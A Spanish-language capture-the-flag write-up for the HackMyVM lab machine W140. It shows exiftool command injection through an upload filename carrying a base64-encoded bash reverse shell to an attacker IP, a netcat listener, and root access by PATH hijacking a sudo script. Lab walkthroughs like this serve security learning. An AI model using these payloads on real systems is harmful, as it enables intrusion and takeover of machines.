W140 - Hackmyvm

0xH3rshel · March 7, 2023

Autor: Powerful
Dificultad: Fácil

img

Reconocimiento

Como siempre, lo primero es realizar un escaneo de los puertos disponibles en la máquina.

$ sudo nmap 192.168.1.59
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 14:22 EST
Nmap scan report for 192.168.1.59
Host is up (0.000098s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE    SERVICE
22/tcp open     ssh
80/tcp open     http

Http (80)

Realizo una enumeración de archivos y subdirectorios utilizando gobuster.

$ gobuster dir -u "http://192.168.1.59/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
[...]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 13235]
/assets               (Status: 301) [Size: 313] [--> http://192.168.1.59/assets/]
/upload.php           (Status: 200) [Size: 3773]
/service.html         (Status: 200) [Size: 3417]
/css                  (Status: 301) [Size: 310] [--> http://192.168.1.59/css/]
/manual               (Status: 301) [Size: 313] [--> http://192.168.1.59/manual/]
/js                   (Status: 301) [Size: 309] [--> http://192.168.1.59/js/]
[...]

El más interesante es “/service.html” el cual permite subir una imágen.

img

Explotación

Al subir una imágen se creará automaticamente un archivo “.txt” con la salida de la herramienta exiftool (v 12.37)

img

Existe una vulnerabilidad que afecta a esta version de exiftool con la cual se puede obtener una reverse shell. PoC github

Command Injection

Lo primero que hay que hacer es capturar con burpsuite la solicitud para subir la imágen dado que la inyección de comandos se realiza en el campo “filename”.

A la hora de conseguir una reverse shell hay que tener en cuenta que el nombre del archivo no puede contener backslash (/). Para evitar esto, codifico el comando que quiera ejecutar en base64 y lo añado de la siguiente manera.

$ echo -n "bash -i >& /dev/tcp/192.168.1.86/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODYvMTIzNCAwPiYx
[...]
Content-Disposition: form-data; name="image"; filename="echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODYvMTIzNCAwPiYx' | base64 -d | bash |"
Content-Type: image/png
[...]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.86] from (UNKNOWN) [192.168.1.59] 34896
bash: cannot set terminal process group (455): Inappropriate ioctl for device
bash: no job control in this shell
www-data@w140:/var/www/uploads/1678201980$

Ya estoy dentro!

Escalado de Privilegios

En el directorio “/var/www”, se encuentro el archivo oculto .w140.png el cuál al enviarlo a mi máquina Kali puedo ver que es un QR con la contraseña del usuario Ghost.

$ ls -la
ls -la
total 48
drwxr-xr-x  4 root     root  4096 Feb 21 12:54 .
drwxr-xr-x 12 root     root  4096 Jan 29 14:50 ..
-rw-r--r--  1 root     root 28744 Feb 21 12:51 .w140.png
drwxr-xr-x  7 root     root  4096 Mar  7 08:49 html
drwx------ 60 www-data root  4096 Mar  7 10:13 uploads

Una vez obtenida la contraseña, puedo iniciar sesión mediante ssh como ghost.

$ ssh ghost@192.168.1.59
ghost@192.168.1.59's password: 
Linux w140 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
[...]
ghost@w140:~$ :)

Root

Ghost tiene permiso para asignar variables de entorno al ejecutar “/opt/Benz-w140” como usuario root.

ghost@w140:~$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140

Al leer el script me doy cuenta que el comando “find” al final del archivo no tiene la ruta completa expecificada por lo que junto con el permiso para modificar las variables de entorno es sencillo conseguir acceso como usuario root.

ghost@w140:~$ cat /opt/Benz-w140 
#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140      

# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Lo primero que hago es crear un script llamado “find” en “/tmp”. Le doy permiso de ejecución y añado “bash” dentro.

Ahora solo queda ejecutar “/opt/Benz-w140” modificando la variable PATH para que el primer directorio en el que busque sea “/tmp” y se ejecute mi “find” malicioso.

ghost@w140:/opt$ cat /tmp/find
bash
ghost@w140:/opt$ sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/Benz-w140 
root@w140:/opt# :)

Y con esto la máquina ya estaría resuelta.

Muchas gracias a Powerful por esta máquina.

Twitter, Facebook